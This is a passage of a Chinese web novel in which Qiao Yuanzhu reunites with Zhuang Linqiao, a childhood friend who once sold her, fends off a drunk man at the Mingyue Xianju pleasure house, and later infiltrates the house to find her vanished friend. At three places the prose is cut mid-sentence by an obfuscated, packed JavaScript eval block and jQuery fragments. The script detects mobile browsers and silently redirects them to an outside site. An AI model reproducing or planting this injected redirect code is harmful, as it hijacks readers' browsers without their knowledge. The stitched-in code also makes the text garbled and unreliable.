像是对她的反应早有预料,翠儿从袖中摸出一块丝帕,笑着道:“哪儿能啊,我们巧娘说了,若乔娘子有顾虑的话,叫我拿这帕子给娘子瞧一瞧,娘子便什么都明白了。”
翠儿恭敬地递上帕子。乔苑珠接过帕子摊开一看,洁白的丝帕上无甚繁复的蝶鸟绣样,只在帕子右下角绣了一簇蓝色的翠雀花,颜色艳丽明媚。她有一瞬间的恍惚,仿佛回到了那个雪天,白墙黑瓦下,一只稚嫩的手朝她递过来一片粗麻布手帕。
-
明月仙居建在湖中央,唯一过去的方式就只有画舫,只是乘坐画舫又有诸多讲究,惯常是不允许女客乘坐登楼的,男客也需提前递牌子,待登记后乘坐指定画舫才能登楼。
如此讲究也有例外,若是持楼中雅字院主子的香牌,无论男女,不用登记皆可乘坐画舫登楼。
翠儿朝船工露了
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15071470|163220||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
牌子,船工看了便没有再多言,搀着乔苑珠登了船,朝西苑划去。
登了楼,翠儿又向守苑的侍者塞了银子,侍者见来者不过一弱女子,身材瘦弱看起来弱不禁风,虽掩了面,但透过纱也隐约能看见个轮廓,看着不像是来捣乱的,又是巧娘的客人,就没有多拦,放她们进去了。
沿着廊亭,一路是风格不一又处处别致的院落临水而建,廊亭中央分了一条路出去,似乎是通向明月仙居的主楼。待走到廊亭尽头,只剩下雅字号的最后一间院子,门口挂着一块古朴好看的牌子,上面刻着庄林巧三个字。
引着乔苑珠进了院门,翠儿就退下了。
院中陈设很少,只在院中摆了块很大的地毯,有几处磨损了,像是在上面日日练舞导致的。院子右侧摆满了各式各样的乐器,每一把都锃亮,没有半点灰尘,可见它们的主人常常拿起它们。院子左侧早已摆上一桌宴席,一聘婷妙女坐在席中,微笑着等着她来。
乔苑珠寻了离门近的椅子坐下,两个人半晌相顾无言。
庄林巧率先站起身来给乔苑珠倒了杯酒,身上钗环叮啷,她款款开口:“七年没见,晓晓莫不是不记得我了?”
她接着道:“不过这也怪不得你,那日在湖边我瞧见你,一时也没认出来,我瞧着晓晓长高了,变美了,一双眼像是要摄人心魄,就是……太瘦了些。”
乔苑珠闻言抬眸看着她的眼睛,半晌浅笑道:“我倒是没认出你,瞧着穿衣打扮、言谈举止与之前大不同,住的地方,相处的人也与之前大不同,我琢磨着姐姐应当不是我认识的那个庄林巧,今日怕不是是拿我来寻开心的?”
庄林巧哪能听不出揶揄的话,也不恼:“七年了,变化是大了些,可过去石头镇仲子村的日子,我一日也没忘。”
乔苑珠默了默,道:“找我什么事?”
庄林巧一杯甜酒下肚,道:“没事就不能找你叙叙旧?”
她侧过身,想要去拉乔苑珠的手,却被躲过去了,她顿了一顿,又展出笑颜,道:“从前日子苦,许多都是不得已,如今过着,倒比之前更自由些。”
乔苑珠皱眉,道:“自由?何来的自由?”
“想去哪儿去哪儿,想穿什么穿什么,想吃什么吃什么,想见什么人也能见得到,不想见什么人我也能说了算,这还不自由吗?”庄林巧道。
乔苑珠不接话。
庄林巧又道:“说起来,我竟不知你还有个名字叫乔苑珠?那日在湖边我看见了你,你却没认出我,我托了好多层关系,又花了许多银子,到处打听一个叫晓晓的小娘子,无一人知晓。还好那日在场恰巧有几个我的故人,又与你有一面之缘,才打听到你如今的住处。”
“叫什么名字有什么重要的?”乔苑珠道。
“你还在生我的气。”庄林巧道。
“你将情谊看的太轻了。”乔苑珠道。
“非是我将情谊与人命看轻,实在是……那时我老爹要卖了我。”庄林巧话说到一半,深叹了一口气,没有继续说下去。
乔苑珠却兀自笑了,仿佛在说别人的故事:“你害怕了,所以你将我卖给了那户人家,我一个无根乞儿,想来也没人会追查我的下落,亦不会有人来找你麻烦,对吗?”
“不是的晓晓,我知你那时过的苦,那户人家我去看了,家境优渥,夫人老爷也是极好的,他们有个儿子病怏怏的,只想收养个义女,你生的好看,又讨人喜欢,我想他们会对你好的,你会过上好日子。
我拿了钱……老爹就不会卖了我了,你可知他要将我卖给一个满脸疮的瘸子,晓晓,我太害怕了!”说到最后两句,庄林巧有些失控地站起身,声音也在颤抖。
“那你恐怕不知道,他们想拿我与那公子配冥婚。”乔苑珠道。
16. 捉腕
“对不起晓晓,我错了,你原谅我!当年那个庄子,我里里外外托人打探了多次,实在是不知他们竟然隐瞒了如此肮脏的内情,若是我知道,我就算再害怕,也断不会推你入火坑!”
庄林巧瘫坐在地上,泪眼婆娑,乔苑珠冷眼看着,竟觉得此刻的她比任何时候都要陌生。
初遇时,她六岁,庄林巧十岁。
庄林巧在一群乞儿手底下救了她,她很是感激,之后的日子,每多相处一刻,庄林巧在她心中的分量就会多一分,直至她将一颗心都填满了,开始学着庄林巧的模样,这样去待别人。
后来庄林巧瞒着她,将她卖给了一处庄子,其中缘由没有与她说半句。她思索着,天下乱,日子难过,卖了就卖了,庄林巧应当是有苦衷的。头两年她天天盼着庄林巧像最开始那样,女侠一般地从天而降,就这么盼啊盼,一等就是五年。
真心错付,爱恨相抵。
“你若是没旁的事,我便先告辞了。”乔苑珠起身欲往外走。
“你就不问问我为何在这里?”庄林巧将她拦下。
乔苑珠不愿再去替他人设想处境,道:“人活一世,言不由衷的事多了去,你今日寻我无非图个心安,我便同你说明白,当年的事,我俱已忘怀,你救过我,我恨不上你。只是,恩是恩,过是过。”
“哈哈哈哈哈——”庄林巧疯了似的笑起来。
她扶着椅子站起来,将眼泪擦干:“这才是我认识的晓晓嘛,冰冷、坚硬,好在果敢。这条路的确是我自己选的,你知我凡事都喜欢自己争,要怪只能怪你我的命都不好,放在面前的路少之又少,我若坐等命运的安排,要么是闹饥荒饿死,要么被我爹打死,又或者被卖给那生疮的瘸子……我自己得为自己挣条活路呀!”
乔苑珠越听越来气。
从前她跟庄林巧也吵架,大到要不要将她那醉酒的老爹沉塘,小到今日出太阳该穿什么,一言不合便能开吵,两人越说越嘴硬,好几日互相不理人,可从没有哪一次话中带刺,直戳人心窝。
她此刻觉得,庄林巧就是个彻头彻尾的疯子,为达目的,连自己也可以背叛,朋友又算得了什么?
她没再接话,转身就要走。
“晓晓!眼下这一面实属苍天垂怜我,你我缘分未尽,为何不能一笑泯恩仇呢?毕竟我也曾救过你帮过你,为何你要抓着我一处错不放?我的娘死了,爹也死了,知我者这天下唯你一人,我很珍惜这次重逢的晓晓!”庄林巧哭喊道。
乔苑珠顿了顿,手抚上胸口,那处堵闷得慌,一些久远的情绪创口又被撕扯开,令人不得不重新审视。
良久,她转身对庄林巧道:“我说过,我恨不上你。”
“我知那时世道艰难,众人处境皆不同,你当时那么做,的确是最好的选择。可我也不能骗你,破镜重圆,裂痕难消,你我之间的感情终究裂了道口子。”
说罢又给自己和她都倒了杯酒,同她碰杯,粲然笑道:“多谢你今日的款待,一杯酒,泯恩仇了。”
乔苑珠将酒一饮而尽,放下酒杯朝院门口走去。
她与一个身形单薄、脚步虚浮的书生擦肩而过。书生欲向她行礼,但她脚步匆匆,他虽诧异,但见到庄林巧站不稳,便不作他想,匆匆跑过去扶。
“等等!”
乔苑珠已转过回廊,庄林巧复又跑到她跟前,硬塞给她一个香牌,言辞恳切:“日后你若是有需要,可拿这个香牌来寻我,你我恩怨,今后我愿意慢慢补,你若是还顾念当年的情分,必要时候,该想起来我。”
说罢将她的手松开,由书生扶着回了院。
-
出了院门,乔苑珠并没有直接乘船走,而是踱到一处凉亭,靠在栏杆上吹风醒酒。
她实在不胜酒力,两杯下肚,喝得急,红晕攀上脸颊。好在晚风清凉,能尽数卷走潮热之气。
她在想,庄林巧这人,像蒲草,野蛮生长,浑身充斥着生命力,让人又爱又恨。
庄林巧的娘死得早,爹又是个废物混子,经常彻夜喝花酒,一个不如意就打她出气。她才不忍气吞声受着,常常是她爹打她一下,她力气小,就还回去十下,被打的鼻青脸肿也绝不哭,事后想办法在她爹酒里面下药,有一回药得她爹十天半月没下得来床。
按理说这种情况下,家中应该是无米揭开锅,但是庄林巧每天都有米吃,还能匀出一点来给她送过来。
庄林巧十分爱美。她每天都把把自己收拾得十分体面,头发盘得可爱精致,衣裳虽是粗布麻衫,讲究不了花样,她就自己想办法弄到好看的丝线,一针一线绣上翠雀花。
在乔苑珠刚从公主府出来独自生活的艰难的时候,庄林巧已经是那个镇上的小霸王了,比她大十岁的混混她都不怕,遇到不服的直接干仗,对方往往就被这股混劲吓退了。乔苑珠那时候对她十分仰慕,发展到后面俨然是跟屁虫的程度。
而庄林巧经常挂在嘴边的,奉为人生信条的一句话就是今晚说的那句:“不要怕!凡事都要自己争。”
也就是这么一个精彩的人,最后十两银子把她给卖了。
她被那户人家塞进马车带走的那天,庄林巧一直没出现。马车上,两个家仆一人一边扣住她,她挣扎想逃,喊着她是有家人的,她还有个姐姐,他们却冷嘲热讽:“就是你的好姐姐把你卖给我们家了!十两银子呢!”
她这才停下来。那时她很弱小,于庄林巧而言确实是个累赘,她没有立场怨恨她。
这样的她,如何会甘愿来这不见天日之地,做一只华美的囚鸟?
正思索间,突然察觉到滚烫的气息吹过脖颈,一只手摸过她的背脊,如同游蛇攀上肩头,就要摸到她的胸口。她骇了一跳,“啊”了一声慌忙躲开,转头便瞧见一大腹便便、醉醺醺、臭烘烘的男人朝她扑过来。
男人满脸通红,口中酒气难闻冲头,左拥右抱间,料想不到还能得了空闲,来轻薄耍弄于她。
“小娘子别躲呀,让哥哥……来好好疼疼你!”
男人迷蒙着眼,脚步踉跄,又要朝她扑过来,口中还在喊:“怎得之前来没见过你,你是新来的?”
乔苑珠弯身避开,要往外头跑,可他身边的娇娘,竟也要来捉她,且这男人肥头大耳,身量高大,光是一个拳头就有她脖子粗,几番较量她竟又被逼到角落。
左右不得出,乔苑珠黛眉紧拧,恨恨地攥紧了拳头
“我早听说明月仙居要来一批新的美人儿,”男人舔了舔嘴唇,口干舌燥地道:“福娘当真有眼光,你可真白啊。”
“脸蛋儿好看,嘴唇好看,颈子好看,胸口好看,腰身更好看!”
乔苑珠只觉得心中恶心,可眼下,她胜算实在不多。若是还手,必定会给庄林巧招惹来麻烦,若是逆来顺受,今日必入虎口。
她打眼望向男人的背后,只见到一翩翩折扇公子绕过廊柱,正要往这边来,身后还跟着一个面带红斑的小郎君。
折扇公子头戴玉冠,身披金丝,手中把玩所坠更是价格不菲。
贵公子,最是在乎名声,喜英雄救美了。
“乖,过来让哥哥抱抱,赏钱!你是要赏钱!”
这边男人还在纠缠不休,说着要从腰上拽下钱袋,尽数塞到她手中。他身型虽硕大如山,可行动却不便,身后两名娇娘更是身娇体软,乔苑珠一个侧身便从三人中间逃脱。
她原想去求那折扇公子一个护佑,可她刚侥幸从人缝当中滑出,便被身后男人一个错身拽住了她的衣袖。男人虽不甚敏捷,气力却极大,如何甩都甩不掉,又一个用力将她拉到身前,冲着她吐了口浊气。
眼看就要亲下来,那边折扇公子如同瞎了眼,已经头也不回地踏过回廊,隐去了身形,乔苑珠一时间气力有些不济,突生出鱼死网破之意。心一横,牙关紧闭,待对方一凑近,抄手一个耳光扇过去,同时拔下头上的白珠簪子,意欲直戳男人的双眼。
可她的腕却被人捉了。
簪子偏过既定的线路,堪堪擦过男人的眼角,一道细微的口子乍现,腥红的血淌进男人的眼里,如妖如魅。
狠戾之气在她面上还未消,她蹙眉望过去,捉她手腕的,是一个面带红斑的郎君。那人力气极大,掌得她已是有些疼,可他表情淡淡,只一双朗目中带着些探究的意味。
两个在场的娇娘终是待不住,意欲去禀告楼中的管事,却被回转身来的折扇公子将去路拦了。
眼中浸满了血的男人眼下吃痛得紧,似乎消了酒气清醒了些,意识到自己被一花柳巷的女子打了一巴掌,还见了血,羞愧难当,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15071471|163220||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
当即就扬手打过来,道:“臭娘们儿,你当你是个什么东西,敢打你爷爷我!”
面带红斑的公子不做声,扯着乔苑珠的手臂往身前一拉,两人自然地撞到一起。她身上还有酒味,伴着发丝甜香,萦绕在他鼻尖。
正在此时,折扇也挡了男人手的去路,道:“李兵呀李兵,你不长记性。又背着你阿爷出来逛花楼,你忘了前些日子你阿爷才因为你赌博的事儿被参了一本,眼下还不过一月,你不好好思过,又出来惹是生非。”
公子生得俊朗,面上一直挂着笑,周身四溢的是潇洒不羁的气息,那一身华贵的衣裳反倒成了拖累,倒不如一身行走江湖的布衣来得逍遥洒脱。
反观钳着她手腕这位公子,如今是一派桀骜的模样,右边眉还微微挑着,似是在对她说“捉了你又如何”?
瞧着这小郎君原也应该是长得十分好看的,只是右半边脸长了一大块红斑,十分骇人。乔苑珠仰头瞧着他,除却红斑,这人眼熟得紧,又一时想不起来是谁。
“沈岳君?”李兵晃了晃脑袋,想让自己看清些。
“正是本公子我!”沈岳君摇开扇子半遮面,笑道:“醒了就赶紧滚,看在小爷我今日心情好的份儿上,我先替你保密,不告诉你阿爷。”他将最后几个字说的一顿一挫,是有意要提醒他。
李兵心中有气,无奈这沈岳君的父亲是他老子的上官,今日的事也绝不能传出去,要是被他老子知道,他少不了要被打一顿,再被下放到乡下的庄子,那么他的婚事也要黄。惹不起躲得起,灰溜溜地欲走,临走还恨恨盯了乔苑珠一眼,仿佛要从她身上剜走什么。
李兵走时将两个他带过来的娇娘也一并带走,一开始沈岳君还不想放人,不料被李兵问了一嘴,说是否要帮他结账,沈岳君摸了摸今日带出来的银钱口袋,实在是捉襟见肘,遂由得他去了。
乔苑珠一把将身侧红斑郎君的手甩开,故意不与他对视,朝着沈岳君微一欠身,道:“多谢公子。”
沈岳君将她上下打量一番,道,“你不是楼中的娇娘。”
“我接了帖子,来拜访友人,路过此处,不料遇见了歹人。”
乔苑珠搓着被攥红的腕,她余光扫过身旁的郎君,不见他有任何要道歉的迹象,心中有些气,加之酒又上头,不想多留,便接着道:“刚才实在是被吓得不轻,今日谢过公子,来日若有机会定当答谢,眼下便先行告辞,二位公子慢游。”
说罢她便转身向渡口去。
见她背影渐远,沈岳君道:“你管这小娘子做甚,今晚我可也是背着我爹偷摸出来的,时间宝贵着呢。”
对方没接他的话,沈岳君又道:“我寻思着这楼里的姑娘虽比不得她貌美,但论可人,这姑娘比不上,扇人耳光不说,光是那拔簪的狠戾可见一斑,可见寻常为人十分霸蛮,那李兵不见得能从她那儿讨到好处。”
红斑郎君白了他一眼,转身朝主楼去,双手交叠抱在脑后,悠悠地走,道:“路见不平,不行么?”
沈岳君八卦之心顿起,追上去一顿连环输出,道:“哪见过贵人您管闲事啊!”
“凭我纵横情场多年的直觉,这姑娘,你认识,还颇有渊源。”
“你救过她的命?”
“她救过你的命?”
“可我瞧着,您刚才捉她腕的力道可不轻,她临走时半句话没与你说,怕是心里记了你一笔。”
见前头的人仍旧是一脸淡然,毫无反应,他三步并作两步跑到他面前,撑开折扇神秘兮兮地道:“你竟是毫不在意!莫非,你暗恋人家,还没与人家说明,现下是在害臊?”
红斑郎君停了下来,像是认真思考了一下,道:“你深夜逃家逛花楼,要是被你爹知晓了……”
沈岳君惊在原地,道:“好你个没良心的,我深夜出来是陪谁?”
-
明月仙居一叙之后,日子太平了好几日,乔苑珠宅在逐影斋哪儿也没去,上午睡到日上三竿,下午窝在院子里晒太阳喝茶,好不惬意。
凭她十七年的体悟,还是活在当下最重要,诸多烦恼能抛之则抛之,最好再别捡起来。
可是人不找事,事来找人,又是一连串叩门声。
乔苑珠打了个激灵,阿青见状去开了门,进门来的是个书生。
17. 心急如焚
书生与那日一样,身形单薄,风一吹便要倒,今日更是面带愁容,袖中两只手死死绞在一起。
乔苑珠总觉得书生太过阴柔秀气,今日更甚。
一进院门,书生便要朝她拜,阿青见状立马上前搀了他的手臂,又往他腿弯递了一把椅子,这才让书生没跪下去。
“你是谁,来找我们娘子的?”阿青道。
“小生张升,今日,确为找乔娘子来。”书生似乎心急如焚,道:“乔娘子,请你帮我找找巧娘,巧娘,巧娘她失踪十日了!”
乔苑珠闻言皱眉,道:“何谓失踪,她不是在明月仙居么?这么大一个楼,还能让她随意逃遁了不成?”
她将茶盏放下,又道:“若是她真失踪了,明月仙居都没找,为何是你来找?你与她什么关系?”
“我,我与巧娘是同乡,因着屡考未中,巧娘她对我多有照拂。”书生直言不讳。
乔苑珠没着急接话,打量起眼前的书生,纵是她绞尽脑汁想了一番,也没记起当年庄林巧身边还有这么一个弱不禁风的书生。
书生见乔苑珠心有所想,猜到乔苑珠对他颇有怀疑,有些着急又不敢失了礼数,接着道:
“不敢欺瞒乔娘子,就是因为明月仙居不找我才着急。明月仙居对娇娘管理极严格,寻常是不能随意出楼的,若是有什么事,进楼里论理一定能找到。
我因着巧娘的关系,原是每隔一日就能到她院中与她见上一面。头几日我按照规矩,每隔一日去寻她,谁知渡口小厮竟不让我登船了,我觉得不对劲,后来天天过去找,那小厮不耐烦,又改了口说什么楼里根本没有我说的这号人!”
“哪会有人这样说话的?”阿青讶道。
书生点头称是,道:“想必乔娘子也认识巧娘的贴身侍婢翠儿,她跟了巧娘许多年,平日她每逢单数日子要出楼上街采买,这个习惯多年来一直没有变过。因为联系不上巧娘,我便想着联系翠儿,消息递不进去,我只好去她常去的几家铺子,可掌柜的皆说好几日不见她了。”
乔苑珠心中警钟作响,明月仙居自己人丢了,一点动静没有,反而是一个不相干的人着急,更奇怪的是,就像阿青所说的,画舫为何要说没有这号人呢?即便是为了不让书生进去而找的借口,也可以说,明月仙居近日管的严不让人随意进出了便是。
“你想让我怎么帮你呢?”乔苑珠终于开了口。
书生连忙拱手,道:“我本不愿相信是巧娘出了事,但眼下需得进到楼中看一看才好下定论。”
乔苑珠懂他的意思,道:“我虽有心,可也与你一样,没法子进明月仙居。”
“这……”书生冷静了下来,叹了口气,道:“是我太心急了,抱歉,乔娘子。”
“你最后一次见巧娘是在什么时候?”乔苑珠又问。
“最后一次便是巧娘设宴邀您那日,之后我就再没见过巧娘了。”书生道。
“那我走之后,她可曾对你说过什么做过什么?可有什么异常之处?”乔苑珠继续问。
书生左思右想,摇摇头道:“异常之处倒是没有,她什么也都没说,只与我说了些有趣的见闻,还有,还有些关于乔娘子的事,乔娘子的住址也是巧娘与我说的。”
乔苑珠心道庄林巧还真是什么都与这呆书生说。
“那还真是怪了。”
乔苑珠手中攥着手帕思索着,又道:“眼下你我恐怕都难以进得明月仙居去。这样,你先回去等两日,你我都先想办法往仙居里头递信,若是实在还是探不得巧娘的行踪,我再想法子进楼中看看。”
书生喜极:“乔娘子当真愿意帮忙?好!好!”
“你且先将你知道的关于明月仙居这幢楼的事一一向我道来。”
书生走后,乔苑珠先是往明月仙居递了庄林巧之前给的香牌,被拦了之后又往里头递了两日信,也都被退了回来,理由皆是楼中没有这号人。
明月仙居每年都有一场盛大的花车游行,花车游行结束后,楼中就会有一批新人加入,届时,明月仙居会再次升起莲花灯,新人盛装打扮乘坐渡口画舫入楼。
华灯初上,敲锣打鼓,月下美人,也堪称一场奇观,势必会引得许多人围观,若是能混入新人行列中,便可不要凭证进得楼中去。
当日,乔苑珠画了个大浓妆,身着华服,为避人耳目,她抄小道摸进了明月仙居渡口旁边的芦苇丛中,从白天蹲守到黑夜。
阿青多方打听,得知明月仙居的新人礼服都是统一从张氏缎庄采购的,由于明月仙居一向在外的名声都是雅致之地,不仅男人们人心向往之,更有很多的年轻少女也十分憧憬此地,遂缎庄也会接到许多私人定制明月仙居新人礼服的单子,故而阿青去采买之时,也没有引起怀疑。
只不过,为了和普通人区别开来,明月仙居会在新人眉心展绘制一枚特制的花钿,阿青花了好些功夫才将图纸誊抄过来。
一阵敲锣打鼓的声音传来,陆陆续续有人在渡口聚集,其中不乏有许多与明月仙居的新人穿着相同的女子。
子时钟声响起,明月仙居楼顶,巨大的莲花灯升起,一个百余人的少女队伍朝着渡口走来,袅袅婷婷,步步生花,人人面上都容光焕发,少女们行至画舫边,按照五人一组准备登船入楼。
机会正好,乔苑珠悄声在芦苇丛中站起身来,趁人不注意混入人群当中,在新人队伍靠近之后,又快速地插到队伍中去。
人多混乱,本无人在意一个华服小娘子的动向,然一个面上有块大红斑的男人正抄手盯着她饶有兴致地看。乔苑珠忽觉背后有鬼,往后一看却只看见人山人海,没什么异样,好一番疑惑差点没跟上队伍。
乔苑珠成功登了船,她一言不发,只低着头思索着待会儿进了楼中后,要如何摆脱队伍潜入西苑去。
“妹妹是哪儿的人?我是嵩州来的,我好紧张啊。”一少女搭讪道,也许是真的紧张,脸颊上升起一团红晕。
“为何会紧张?”乔苑珠不解地问。
“听说进了楼还要再筛选一遍人的,并不是一定就能留在这儿的,我也好紧张啊。”另一少女接道。
“为何一定要留在这儿?”乔苑珠更加不解地问道。
船中剩下几名女子闻言都齐刷刷扭头朝她看过来,仿佛在看什么怪胎。乔苑珠后背发凉,担心引起了怀疑,赶紧找补道:“我的意思,人不要有这么强的得失心,尽人事听天命才好。”
嵩州少女闻言叹了口气,道:“妹妹心也太大了,光是这初选,我便是下了好大功夫,日日练习琴棋书画,大门不出二门不迈,日日用鸡蛋牛乳将养皮肤,才勉强被嬷嬷写上了初选名单,若是没被选上,岂不白费我的功夫。”
“是啊,这里谁人不是奔着一定要选上来的?”另一少女说道。
“你们皆是自愿?”乔苑珠大受震撼,她想破脑袋也想不明白,这明月仙居里有什么好,不仅搞得眼前的
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15071472|163220||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
几名女子忧心忡忡,就连庄林巧当年也是心甘情愿来的。
“是啊!”几名女子先后答到。
见乔苑珠没接话了,坐在船头的少女也加入话局来道:“你没见到游行花车上的舞姬吗?她便是自愿来这明月仙居当舞姬的,如今都已经是西苑的头牌了,达官贵人们喜欢,没准儿哪日得了青眼,就飞上枝头当凤凰了呢。”
“对我们这些穷苦人家的女子来说,明月仙居是真正能让我们自己把握命运,翻身做凤凰的地方,退一万步讲,若是没被选上,家里收了的银子又如何吐得出来,便剩没命一条路了。”嵩州少女说着,眼看就要哭起来。
乔苑珠生怕她哭出声来,赶紧拍了拍她的后背,安慰道:“别哭别哭,你肯定能选上的。”
她一边安慰一遍抬头望向湖中央的红楼,并不觉得有多好看,倒觉得像一头卧在水中假寐的巨兽。
-
画舫行至主楼停下来,楼上有小厮一一接过船上下来的少女,又引着她们前往训话堂。
从下船点到训话堂,一路没有机会经过西苑,而是直接经由正堂上到三楼,进了一间宽敞明亮的厅堂,其间只在主楼入口处有一处岔路,想来那里便是分路去往东西两苑的地方。
待到训话堂内,少女们需要依次列队站好,等着妈妈过来训话。乔苑珠不想引起注意,磨蹭着站到了距离主座最远的一处角落里,见机行事。
突然厅堂左侧的门开了,老嬷嬷搀着一半老徐娘进来,至主座上坐下了。只见那妇人还没坐稳,身旁的老嬷嬷就高声朝底下一喊:
“跪!”
声音洪亮,嚷得乔苑珠有些耳鸣,见厅堂中的少女们都齐刷刷地跪下,她便也装木作样跪下,附和道:
“福娘安好。”
被叫做福娘的妇人正端着茶盏品茶,慢慢悠悠地拨开茶沫,又慢慢悠悠地浅抿一口。她没结束这套动作,底下跪着的少女们便不敢起身。终于,乔苑珠的膝盖都疼了两个来回了,福娘总算是开了她的金口,道:“哎呀,都起来吧,都是自家人了,以后保不齐都是要当主子的人,对我个老妇不必行如此大礼。”
妇人嘴上说着,脸上却欢喜得紧,转头正色叮嘱老嬷嬷道:“记住了吗顺嬷嬷?以后别老让姑娘们跪,身子金贵着呢。”
“是,老奴糊涂了!忘了您叮嘱的规矩!”老嬷嬷应和道,抬手还准备给自己两巴掌,被福娘拦下。
“以后姑娘们只管叫我福娘或是妈妈,都行,不必拘谨。”福娘悦色说道。
“是。”少女们齐声回道。
乔苑珠算是看出来了,这主仆二人在这儿演戏呢,少女们单纯,看了恐怕都要觉得这个福娘是好相与的。
“福娘我平日里最是好相与的,凡事讲究个礼尚往来,你对我投之以梨,我必报之以琼浆。诸位娘子既然来了,应该都知道我明月仙居是做什么营生的,自然是要做那出卖皮囊的事,万不可耍清白小姐脾气。我这里从不强人所难,若是还要有要退出的,现在便站出来,我叫嬷嬷送你们出去。”
一语毕,众女孩儿们没有一个说话,也没有一个站出来,福娘看到此场景,心中是十万分的欢喜,接着道:“既然都是自愿来的楼里,就要时时刻刻谨记,是谁给你们好衣裳穿,好东西用,是谁让你们还有你们家里的人过上了好日子。只要姑娘们好好努力,福娘也好寻了由头到贵人面前美言不是,到那时候,就是一朝翻身飞上枝头变凤凰了。”
18. 寻欢
福娘每回说到贵人都格外加重了语气,好让在场的所有人都听到心里去。
福娘说罢便缄口喝起茶来,旁边的老嬷嬷此时站了出来,道:“福娘性子软,好相与,老婆子我可要丑话说在前头,提前给各位娘子立下规矩!
只一点,在楼里,不该听的别听,不该看的别看,不该拿的别拿,尤其是不该说的别说。
若是被我发现你们私下碎嘴,便要撕烂你们的嘴,叫你们永远说不出话来!”
一众少女被吓得瑟瑟发抖,慌忙道是。
接下来便是按照名册一一分去东西二苑观学,乔苑珠当然没有在名册上,她身量小,趁人不注意,跟在别人身后混入了东苑的队伍。
东西二苑格局都是一样的,只不过住的人不同,观学的内容也不同,乔苑珠跟着队伍大致参观完了东苑,确认庄林巧不在,便思索着要怎么脱离队伍去西苑。
进来时她刻意留意了路线,若想去西苑,只在主楼的出口处看见有一条分叉路可去,但出口人多眼杂,风险很大。
她脱去显眼的外长衫,从一处院子顺了一件浅色不打眼的披帛披在身上,又将钗环换掉,改了位置插好,束得齐整的头发拨了一缕下来垂在肩上,装作一副楼中娇娘的模样,趁着队伍前头的管事没注意,转角没入阴影里。
待到队伍走远了,她悄悄的从阴影中出来,学了楼中娇娘走路的姿势,手帕掩面,朝主楼走去。
经过廊桥,从东苑拐进主楼大堂,人越来越多。
台上舞姬翩飞旋转,台下宾客推杯换盏,男人们怀里都搂着娇娘,经过她身边时竟还要伸手扯她,她掩面故作娇羞,用手轻推,巧妙地侧身避过,低头急急离开。
好在一路有惊无险。
进得西苑,她不多做犹疑,快步朝廊亭北面去,记忆中庄林巧的院子便在北面尽头,雅字号的最后一院。
越是靠近庄林巧的院子,她的心中越是不安,原本奔走的步伐也渐渐慢了下来,她留意着经过的每一间院落门口的名牌。
廊亭尽头,院子隐在夜色中,院门紧闭,万籁俱寂,乔苑珠眼风扫过门扉上挂着的名牌,脑中轰地一响,上面的名字不是庄林巧,刻的也不是翠雀花,取而代之是一朵芙蓉。
乔苑珠摇了摇头,心还存一丝侥幸,林巧跟人换了院子也说不定……
得找人问问才行。
她深吞了口气稳住心神,学着楼中娇娘的模样,轻轻叩响院门。然而院内久闻无声,正欲敲第二下,门突然开了。开门的人侍婢打扮,却不是翠儿,那人见她是生面孔,蹙眉疑惑道:“姑娘是哪个院儿的,我怎得从未见过你?”
乔苑珠心道不好,原想着楼中娇娘众多,便是生面孔也不会引人怀疑,可没曾想明月仙居是个什么地方,恐怕每个侍婢、小厮都将娇娘的面貌刻在骨子里,就是化成灰也认得。
她只好换了神态,道:“姐姐好,我是东苑的新倌儿,今日才得以进楼来,楼中规矩还未学过,若是冲撞了姐姐,还望姐姐莫要怪罪。”
那侍婢很吃她温吞乖顺这套,颜色也温和些,道:“不妨事,你有什么事?”
“不知住在此处的娘子可有一位叫庄林巧的?她原是我闺中故友,来之前她还给我寄信,叫我来了一定要找她。”乔苑珠怯生生地说着,她故作慌张,又从袖中摸出银子塞到那侍婢手中。
侍婢接过银子掂了掂,又上下打量她半天,扯出一抹意味深长的笑,道:“巧娘不住这儿了,不过我可以帮你去找她,你且在此等着。”
乔苑珠连忙点头道是,那侍婢便掩了门往主楼去。等了一会儿,不见那侍婢回来,此时院门虚掩着,她思索了一下,没多做犹疑便推开门进去了。入眼是满院的芙蓉花,夜色不减风采,艳丽如一团团火,她打眼一望,不见陈旧的地毯和乐器,屋内也是一片寂静,这里没有庄林巧的身影。
此时院外隐约传来先前侍婢的声音:“两位哥哥,就在前面,那小娘子一看就不是楼里的,摸不准怕是来闹事的,报给管事赏钱起码是这个数儿,到时候哥哥们可别忘了我。”
糟了,被卖了!
她汗毛倒竖,慌忙走出院门。
